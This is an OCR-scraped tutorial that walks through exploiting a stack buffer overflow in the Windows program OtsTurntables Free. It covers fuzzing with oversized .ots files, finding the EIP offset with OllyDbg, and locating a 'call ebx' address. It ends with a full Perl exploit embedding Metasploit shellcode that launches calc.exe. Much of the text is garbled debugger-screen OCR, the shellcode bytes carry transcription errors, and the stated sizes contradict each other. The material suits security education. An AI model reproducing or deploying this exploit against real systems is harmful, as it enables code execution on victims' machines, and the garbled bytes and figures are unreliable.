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0x001 - Introduction :

when a process attempts to store data more than what

The result is that the extra data overwrites adjacent memory locations
& this can cause memory overrite or corruption or even crash.

and we call this bufferOverflow

=> What's Stack Overflow ?
stack gets overflowed when too much memory is used for stack calling ,
resulting app crash , and this crash can be used !

HHH R R R R R R R R R
0%010 - Finding The Bug :
In This Example am going to exploit this free software "OtsTurntables Free"

This software is dealing with (.ots files) , so lets try to fuzz it ! :D
lets start with 1000 "A" file & open it with this program !



'DI_I'rDI:ii_'] - OEsTTire.ere - TCPL - main thread]

@ File Wiew Debug Plugins ©Options ‘Window Help N
HIE 5 e H ;
B x| w1 w4 ¥ ] o JJJJJ@JJJB]E«J S|
Reaisters [FFUI]
= E0: GEREEEG]
=1 Eci¢ FFFFFFFF
Es AESE 2 EAEAd
el e Io WEEX BEDZETCE ASCIT "RARARAARARAAREARAAR |
1 ESP BB12FSCC ASCIT "RAARRPRRRRRRRARARRS
COT Lo O
ESI BECCEOAS
EDI BORREEHE
EIF 41414141
oe==""IC @ ES Bo23 32bit G(FFFFFFFF)
-~ P B CS BEIE 32bit B(FFFFFFFF)
3 |-=" A 1 S5 8823 32bit BIFFFFFFFF)
Z B DS BE23 32bit BIFFFFFFFF)
S B FS BESE 37hit FFFOFEEE0FFF)
5 g 55 BEBE HULL
0 @ LastErr ERROR_SUCCESS (@ORGEHEHE)
EFL @8@a1@z1z ©MO,MHE,NE, A, N5, PO, GE, &
5TA empty —7FF FFFF BOOZEZ0Z DOBEEDEE
5TL empty —7FF FFFF DOOESE0RE DOBEEHE0E
5TZ empty =777 FFFF DOOESEEE DOREEHGE
5T2 empty +UNORM 7Pred BE1CREEE FCO1EDEE
5T4 empty B, BBBEEEED76] 963922704933
STE empty B, B2217E92997E53664 104933
STE empty —UNORM E286 B61ZF640 GB1ZFEIC
STF empty A.8
32108 ESPUD?Z
FST @988 GCond 8 B @ B Ecr 8 0 @ 0 O &
FCWl 827F Prec MEAR,S53 Hack Tfaisgi,
4 L
-
I
']
I
0t=TTfre, {Modu LeEntruPoidt >
Address |Hex dump if ASCII 41414141 -
BEEIEEE| B5 68 B8 O6 GETE0 BE BE ........ S 3 —
BR4EIRES| 60 G0 6B GO BSy 26 45 6@ ....3 E. S A
BE4E2016( 97 COC 45 B@| 53 0O 45 06| U[FE.RLE. A -
BE463015[ 60 00 00 90| BB B0 09 00| . e...... sibdoiblil [
BE463020( 66 21 45 99| 08 60 68 04| "tE..... d1414141/ jae
BE463025 60 B8 B8 88| d3 CO 45 64| ... .clE. et Dt
BE4E3E30( 60 00 0n B0 BE G0 68 G@| ... ... .. i
BE4E2032( 60 60 oo B0 BE G0 o0 GE| ... ..., SRS Bhoatiod
BE4E3040| 22 06 42 SFp3l 42 G2 11| #eHolbwd R B
BE463043| FD BB E9 55{93 37 22 18|=<8857"k SEECENEE Boihainhe
BE4E3E5A| 68 FG 11 GF| 5C 30 F9 7EB| .24, B bl beit
BE4EIEES| 17 FE 91 TR FE AR B3 34| $ears-. 4 SRR Edhi bl =
BE463050| 46 OC DB OBl Bl F2 FF 43|Faigrd: C CEHEE Bty =
corcoeenl i 00 e el b b i
we ] — = —
BE4Eoe7E| 22 49 47 WE4| 12 72 24 7ol algzieds x)PelzrAach 4ldi4i4] b

1 - The regsitersWhere Our data were writen => will be the place of our shellcode // EBX

2 - EIP, its the adress that point on current registre => we can use it to point for our shellcode register in
EBX

3 - The Stack ! & its overtiten as well with 41414141
4 - Access Violation when executing [41414141] => eip overiten & cannot go to this adress 41414141
Now , we should try to findout the right number of "A" strings to overflow this software ,

lets try 800 "A",



Fegisters [(FFUI

EAX B8EREEE1

EC: FFFFFFFF

ED: 882352064

EEX 880387CS ASCII "AARARARARRARAARAARARA
ESF 8812F2CC ASCII "RAARAARAARRARARARAAAA
EEF BBEABE3ZH

ESI @ECCE3AS

EOI B8EREEEE

EIF 41414141

still overiten with \x41 , lets try 400

Registers [(FFUI

EAX B8EREEE1

ECX FFFFFFFF

EQ B885266H4

EBEX @E03EFCE ASCII "AARARRRARRARRARAARA
ESF @E12FFAS ASCII "AARARRARRRAARARAARA
EEBF BB@REZES

ESI BBCCEIAS

EDI @8806866

|ErF=teta1e

same old thing , lets try 300

Registers [(FFUI

EAX B8EREEE1

ECX FFFFFFFF

EQ B885266H4

EBEX @E03EFCE ASCII "AARARRRARRARRARAARA
ESF @E12FFAS ASCII "AARARRARRRAARARAARA
EEBF BB@REZES

ESI BBCCEIAS

EDI @8806866

IETF 41414141 ]

the same ! lets try 200

Reaisters [(FPLUI
ERX BDEBEHEEH
ECx HH3CELZA
EDX HE1Z2FRAES
EBE HHBAHHEEH
ESF bEl1zF2A4
EBF HE1ZFCEM
ESI FFFFFFFF
EDI BEAEHEE]1

EIF 7CP1E4F4 ntdll.KiFastSystemCal LRet

EIP not overiten in 200 "A" , so its between 200 & 300

lets try 250

Fegisters [(FFUI
EAY BEEREEEE
ECx HE03VEES
EDx BESEASES
EEX B8E8880E6
ESF @@l2F2A4
EEF HE1ZFCER
ESI FFFFFFFF
EDI AE@aa8E1

EIF vC21E4F4 ntdll.KiFastSustemCal LlRet

pretty nice , now we know its between 250 & 300

lets try 276

|.-i‘-.|:|:ess violation when reading [00000118] - use Shift+F7/F8/F3 to pass exception ho program



just a little bit more ! lets try 280

Registers [(FPLUI

ERX DEEEHEE1

ECx FFFFFFFF

EQ HEZE2EE4

EBX BED2S7CE ASCIT *""ARRAARARAARARAARAAARA
ESF bEl1Z2FFAS

EEBF @E@@@nl 1o

ESI DBECCO2AZ

EDI BEEEnEEE

EIP 41414141

bingo ! now lets change last 4 "A" strings to "B"

Registers (FFUI

EAX BEEBEEAE1

ECX FFFFFFFF

ED BE25Z2AEG

EE¥ BEDZEFCE ASCII "AARAAAARRARRAARAARAF
ESP BE12FVRS

EEF @@asalin

ESI @acCaaqns

EDI @@@8@amg

EIP 42424241

well done since 281 overite EIP to 42424241

this mean we need only 281 char to overite the EIP
HHHHHH R
0x011 - Exploiting The Bug :

now let's try to collect the informations about this overflow



—
& | Registers (FPU)

=) EAX BEEEEGEE]

|— 8 ECx FFFFFFFF

EQ% RRSCPRRL

IEBH BED3SFCE ASCII "ARRRARAAAAARAARRAAR
Cof BJd1lor rHO

EEF @@@aalin

ESI EACCAIAS

EOI B8@E8A0EE

EIF f4242424=

ES @822 22bit BIFFFFFFFF]
CS 8ale 32bit BIFFFFFFFF)
55 8823 32bit BIFFFFFFFF]
05 8823 32bit BLFFFFFFFF]
22bit FFFOF@EE0FFF)
G5 @aE8 MHULL

LastErr ERROF_SUCCESS (QOEDEGEEE]
EFL @@aimz1z (HO,ME.ME,R, NS, PO, 5E, 51

STE empty +UMORM 8828 BEAEEEIE BA12F2FS
ST1 empty +UMORM BE3E BE1ZFC14 BEEEEAEE
STZ empty —UNORM FCHC BEAEEZEZ BRREEAEE
ST2 empty B.AEEEEEI24A7E] 169208 —49232
5T4 empty +UMOBM BE3E BE1ZFCAE BREEEAGE
STE empty —-UMORM FEFS BEAEEZZE BRAEEEE1E
STE empty 1. AEEEEAEEAREEAEEGEAEE
STY empty 1.00008888EE8EEA0058E3

3218 ESPFUDOZ

Pl
FST 4888 Cond 1 B B A Err @8 B B B B
FCW B27F FPrec MHEAR.S52 Mask 1111

Lo o Ee Fr ) e e oy}
EEEEE S S

T

ol

=

=

[}

m

Ot=TTfre.<Modu leEntrouPoint »

Address |Hed dump

AR4ESAEE[ pE 08 B8 B8] BE G&
AR4EZAES [ BB OB 88 B8|EBS 28
pEd4cgalal 7 CC 45 @a| 5z Co
BE4ESE1E( BB BE BE B8| 88 BE
AE4ESEZE[( 68 21 45 B8| BP0 DA
AE4ESEZE( BB BE @@ B8| &S CH
AR4EZAZ8( PE BE BE B38| 88 OO
BE4EZEZE( B0 06 BE B8|6E BE g 0g
AE453a48( 22 296 48 &F| 21 42 B3 11| #EHo1Ew4

BA12FEEC] 41414141 &
AE12FE28| 41414141 —
BE12FE34) 41414141
BE12Fe32) 41414141
BE12FE3C) 41414141
BE1ZFEAE| 41414141
BE12FEA4) 41414141
BE1ZFERS) 41414141
AE1ZFEAC) 41414141
BE1ZFEEE| 41414141

]

ZZ e HE1Z2FEEd ] 41414141
BEd4E3E48( FO EB ED 82|93 37 22 18| *«BEd7"k
BE4E3056| B8 F@ 11 BE|5C 3A F9 7B|.=4.ieL R B =
BR453055| 17 AE 21 72| FE AR B2 54| $-erio. 4 BniSFert| 41414141 =
BE45306E| 46 OC DB DZ| B1 F2 FF 43| FmirEs C it e el W E Eht e,
BE4EZRES| 96 OO 12 27|91 FE 85 &3l $raitc 6015Fecs| 41414141
BE4E267E| 04 19 AE BF| B3 BF F1 43| t4% =] 5l 601 5Feca| 41414141 =
BR4e3073[ 23 49 47 B4 13 P2 24 PO #162 rds > et I ke’
|.¢.u:u:ess violation when executing [42424242] - use Shift+F7/F3/F9 to pass exception bo pragram | | FPauzed

1- As well as we see , the entred data are in EBX register , so our shellcode will be in EBX
2- Since entred data are in EBX , we will point our EIP to EBX

['] Structure of the Exploit :

junkdata + nops + shellcode + neweip

1/ JUNKDATA => its the extra bytes to overflow the stack

2/ NOPS => needed always for shellcode even 1 byte !

3/ SHELLCODE => its the code that will execute a specific function (cmd exec / bindshell / dll & exec
etc...)

4/ NEWEIP => Its the adress that will point on EBX register



The Size of overflow is 284 so lets split it as our structure up " :
4 bytes for new EIP

160 byte for exec command shellcode
20 byte for nops

97 byte for junkdata

['] Building :

/'1/ Junk Data

its going to be "\x41" x 97

/ 11/ NOPS

its going to be "\x90" x 20

90 in hex = nop , mean do nothing

/ 11/ Shellcode (Exec CMD )

This ShellCode execute calc.exe

"\Xx29\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xF4\x5b\x81\x73\x13\x61"
"\ Xx28\x38\x56\x83\xeb\xFc\xe2\xF4\x9d\xcO\x7c\x56\x61\x28\xb3\x13"
"\x5d\xa3\x44\x53\x19\x29\xd7\xdd\x2e\x30\xb3\x09\x41\x29\xd3\x 1"
"\xea\x1c\xb3\x57\x8F\x19\xF8\xcF\xcd\xac\xF8\x22\x66\xe9\xF2\x5b""
"\x60\xea\xd3\xa2\x5a\x7c\x1c\x52\x14\xcd\xb3\x09\x45\x29\xd3\x30""
"\ xea\x24\x73\xdd\x3e\x34\x39\xbd\xea\x34\xb3\x57\x8a\xal\x64\x72"
"\x65\xeb\x09\x96\x05\xa3\x78\x66\xe4\xe8\x40\x5a\xea\x68\x34\xdd"*
"\X11\x34\x95\xdd\x09\x20\xd3\x5F\xea\xa8\x88\x56\x61\x28\xb3\x3e"
"\X5d\x77\x09\xa0\x01\x7e\xb1\xae\xe2\xe8\x43\x06\x09\xd8\xb2\x52""
"\x3e\x40\xa0\xa8\xeb\x26\x6 T\ xa9\x86\x4b\x59\x3a\x02\x28\x38\x56"";

Thanks Metasploit for the shellcode !

you can generate your custom exec cmd shellcode from metasploit
http://metasploit.com:55555/PAYLOADS?MODE=SELECT&MODULE=win32_exec
/111 / NEW EIP

The New EIP should point to EBX register , so we are going to search for adress that

points on EBX

1 - Search From Olly :



452272 Tl FUSH _EEF
Baaccocn| | . SBEC MOY EEF,ESF
eaqs3zvc|| - ER FF FUSH -1
BR45227E || - 62 BSE44688 | PUSH Ot=TTfre.O0@4684ES
Ga4czzas|| - 62 28794588 | PUSH Ot=TTfre.B@457920
saacazac|| - E4:Al GEEESEE MOU EAN, OWORD PTR FS:L[@]
eadcazaE|| - Em FUSH EAS
Ba4czzeF || - E4:8925 PEEESI MO DWORD PTR FS:L81,ESP
cnaczzos|| - S3EC G sUE ESP, 52
pR4s3za3|| - E3 FUSH EES
ea4s3zaq|| - E& FUSH EST
ea4cazae|| - E7 FUSH EDI
saaczzoc|| - 2965 Es MOL Ol
5045229F || - FFIG S4Fi4c@@|cALL [ Backup
Ga4czzis|| - =302 0oF EL
Ba4c=207 || - SR04 ou ol Copy
ooaczenz| | 89S eeEedes|HOU DL o
e
snaczoe7|| . 5380 FrES4pme Mou DL Assemble Space
sa4c=zE0|| - ClE1 @2 SHL EL | shel
B[ pelB ol
opicoace)[ 1 Cies 1 T\ B e ’
. Breakpoink

eaqczz0a|| - &R Bl FLSH kp
Ga4czz0z|| - ES DBsse@ee | CALL [ Hit trace
ea453207 || - 59 FOF EC
saaczz0s|| - EEce TEST £ Fun trace
ea453z0q|| -~ 75 o= JHZ SF
ea4caz0c|| - &R 1C FLSH
GR45220E || - ES Coee@ems | CALL ¢ Goto
ea45azES|| - ES FOF EC
Fa4522E4|| > E& @F4veess  |caLL ¢ Follow in Dump
SSEEEEEE ;VEEESB SﬁgTSE View call tree ChrlH4HE
Gaas=zED|| - &R 1@
BR4S22EF || - EZ Brecsooe
Ba453zF4|| . E9
saacazrs|| 3 33Fe ROR Ef  Find references to
EEF=—GE1ZFFFO _

Wiew
Ot sTTre, {Mody leEntruPaint > Copy to executable
Address |Hex dump analvsis

write in the box that will come , jmp or call for ebx

nothing for jmp ebx ,

but we found an adress for "call ebx"

SE handg

3
4
4
4
3

nel3

empty
EmptYy

empty
EMpty
empty
EMpty
EMpty

46828
B27F

Mame {label) in current module

LastErr
[]5]5]5]5 10

& | Registers [(FPUI
| HEHEEEEEE
ECx Ba1ZFFE@
TCI1E4F4
TFFOF @@
BE1ZFFC4
BH1ZFFF@E
FFFFFFFF
FLo2E282

BE453279

ntdll.KiFastSustem

ntdll.7C92E2E05
OtsTTfre.<Modu leEn

22bit BIFFFFFFFF]
Z2bit BIFFFFFFFF)
32bit BIFFFFFFFF]
32bit BIFFFFFFFF]
32bit FFFOEBEE[FFF
HULL

ERROF_SUCCESS (@88
(MO, HE,E,.BE, M5, FE,
—UMORM BDEC @lecelad

empty H.0

A.6
a.6
8.6
1. BEEEAAEERAEEEREEEEE
1. BEEEEAEEREEEEBEEEAE

zlam E S
Cond 1 B 8 8 Ecr @8

FPrec MEAR,53 HMask

Chrl4-1

Mame in all modules

Command

Chrl+F

Sequence of commands

CErl+5 |



HHAWICES|] « 205424 1W LEH EUx,WORD FIH S5: LESF+IM] L
BE4E15ER(] . &2 PUSH EDH

Ba4815EE(] . FFDS CALL EEF l
pa4@EicED(] . &R Bl PUSH 1

EE4ELEEF|] « &R B8 FUSH @

EE4E1EFL] « &R B8 FUSH &

EE4E1EFS() . 04424 1T LEA ERX,OWORD FTR SS5: [ESP+1C]

BE4E1EFF(] . B& FUSH ESI

BE4E15F2(] . 5@ PUSH ER

BE4E815F9(] . FFD? CALL EDI

EE4E1EFE(] « S5CA TEST ER=,ERH

BE4@E15F0|| .~FE EB L JMZ SHORT Ot=TTfre.8@48150F

ea4@1EFF(] . 5D POFP EEF

gad4aicoE(] . 5B FOF EE=X

Ba4Eaieal (] » 5F FOF EDI

aadEieaz(] . 5E POF ESI

EEdEleES ] . 8304 1C AODO ESF, 1C

Ead4Elens(k, C3 RETH

HE4E1667 s ] HOF

Ba481662 ] HOF

BR4E1EED Lz MOP

BE4E 18R ] HOF

BE4E16EE 28 HOF

HE4E1EEC 28 HOF

BEE4E16E0 s ] HOF

BE4B168E ] MOF

BE48168F ] MOF

EE4E1E1E| rs AL SC20470HE MO ERX, OWORD PTR DS:[47209C]

Bad4a1615(] . 85CE TEST ERX,ERX

FA461617|| -~BFS4 916A8688| JE Ot=TTfre. BE4E16

EE4Elciif] « SE8D 282047aa| Moy ECH, DWORD PTR DS [47z092]

Ba4E1623(] « 57 FLUSH EDI

BEa4E1624(] . 33FF #OR EDI,EDI

ERdE1ezZE(] « SEC9 TEST ECH.ECH

EE4E1E22| ] ~~FE 7@ JLE SHORT O0t=TTfre. 88481690

BE4E162A(] . 53 FUSH EEBX

HE4E162E|| « BB1D 48F24560 MOU EBX,.DWORD PTR DOS: [<&%KERHEL| kernel3
pa4@1c21(] . 55 PLUSH EEF F
HEd4Elez2) ] « BE20 43F24500) MOV EBFP,DWORD PTR DSz [<&KERMEL| ntdll.FR’

"004015E4" => thats our return adress ,

we write it in reverse like that "\xE4\x15\x40\x00"

1 - Using FINDJMP :
findjmp is a little tool made to search for jJumps in windows modules uch as kernel32.dll for example

findjump.exe kernel32.dll ebx



i

jul]u]

=l
w o

1 L1
)

1L L
o

w

o

mrornrnrnirr
[ul)
 JEAE [N [N N [ R I R RS,
—_

[
Il
)

pop -
rj [m} p -

pop -
- pop
- pop -

- pop - re
- pop

pop i pop
pop il - pop
pop i pop
pop il - pop
call

call

pop ulu]u]

- pop - re
- pop -

-
]

able with the ebx register

as you can see we found plenty adresses :)
B
0x100 - Writing an Exploit :

we have now all the required infos to write an exploit , i prefer perl in writing

#!/usr/bin/perl -w

# Define Variables

my $junk = "\x41" x 97; #junkdata

my $nop = "\x90" x 20 ; # nops

my $ret = "\XE4\x15\x40\x00" ; # New EIP

# ShellCode , thanks metasploit
my $shellcode =



"\x29\xc9\x83\xe9\xde\xd9\xee\xd9\x 74\x24\xf4\x5b\x81\x 73\x13\x61".
"\x28\x38\x56\x83\xeb\xfc\xe2\xf4\x9d\xcO\x7¢c\x56\x61\x28\xb3\x13".
"\X5d\xa3\x44\x53\x19\x29\xd7\xdd\x2e\x30\xb3\x09\x41\x29\xd 3\x 1f".
"\xea\x1c\xb3\x57\x8f\x19\xf8\xcf\xcd\xac\xf8\x22\x66\xe9\xf2\x5b".
"\x60\xea\xd3\xa2\x5a\x7c\x1c\x52\x14\xcd\xb3\x09\x45\x29\xd3\x30".
"\xea\x24\x73\xdd\x3e\x34\x39\xbd\xea\x34\xb3\x57\x8a\xal\x64\x72".
"\x65\xeb\x09\x96\x05\xa3\x78\x66\xe4\xe8\x40\x5a\xea\x68\x34\xdd".
"\x11\x34\x95\xdd\x09\x20\xd3\x5f\xea\xa8\x88\x56\x61\x28\xb3\x3e".
"\x5d\x77\x09\xa0\x01\x7e\xb1\xae\xe2\xe8\x43\x06\x09\xd8\xb2\x52".
"\x3e\x40\xa0\xa8\xeb\x26\x6f\xa9\x86\x4b\x59\x3a\x02\x28\x38\x56"
my $exploit = "$junk.$nop.$shellcode.$ret”; #exploit structure

my $file = "dark.ofl" ; #file name

## simple file handling

open(my $FILE, ">$file") or die "Cannot open $file: $!";
print SFILE $exploit ;

close($FILE);

print "Done \n";

I T T T T T R T
0x101 - Downloads :

OllyDBG

FindJump

http://Null Area.Net/Tools/stackover/findjump.c
OllyDBG

http://www.ollydbg.de/download.htm

HHHHHHH R
0x110 - Conclusion :

Note :

1/The Software Used In The Tuto is OtsTurntables Free

2/This Bug alrady found by suN8Hclf i just explained howto



